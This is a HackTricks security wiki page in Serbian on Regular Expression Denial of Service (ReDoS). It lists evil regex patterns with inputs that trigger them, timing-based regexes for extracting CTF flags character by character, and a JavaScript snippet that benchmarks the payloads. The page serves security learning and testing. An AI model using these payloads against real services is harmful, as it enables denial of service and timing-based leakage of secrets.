Regular expression Denial of Service - ReDoS

Regular Expression Denial of Service - ReDoS

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Regular Expression Denial of Service (ReDoS)

Regular Expression Denial of Service (ReDoS) se dešava kada neko iskoristi slabosti u načinu rada regularnih izraza (način pretrage i uparivanja obrazaca u tekstu). Ponekad, kada se koriste regularni izrazi, mogu postati veoma spori, posebno ako se komad teksta sa kojim rade povećava. Ova sporost može postati toliko loša da se brzo povećava čak i sa malim povećanjem veličine teksta. Napadači mogu iskoristiti ovaj problem da bi napravili program koji koristi regularne izraze da prestane pravilno raditi na duže vreme.

Problematski Regex Naivni Algoritam

Pogledajte detalje na https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Zli Regex-i

Zli obrazac regularnog izraza je onaj koji može zaglaviti na pravljenom unosu i izazvati DoS. Zli regex obrasci obično sadrže grupisanje sa ponavljanjem i ponavljanje ili alternaciju sa preklapanjem unutar ponovljene grupe. Neki primeri zlih obrazaca uključuju:

  • (a+)+

  • ([a-zA-Z]+)*

  • (a|aa)+

  • (a|a?)+

  • (.*a){x} za x > 10

Svi ovi su ranjivi na unos aaaaaaaaaaaaaaaaaaaaaaaa!.

ReDoS Payloadi

Izvlačenje Stringa putem ReDoS-a

U CTF-u (ili bug bounty) možda kontrolišete Regex sa kojim se uparuje osetljiva informacija (flag). Tada, može biti korisno da stranica zamrzne (timeout ili duže vreme obrade) ako se Regex upari i ne ako se ne upari. Na ovaj način ćete moći izvlačiti string po karakter po karakter:

  • U ovom postu možete pronaći ovaj ReDoS pravilo: ^(?=<flag>)((.*)*)*salt$

  • Primer: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$

  • U ovom writeup-u možete pronaći ovaj: <flag>(((((((.*)*)*)*)*)*)*)!

  • U ovom writeup-u je korišćeno: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Kontrolisanje Unosa i Regex-a

Sledeći su primeri ReDoS-a gde kontrolišete i unos i regex:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Alati

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated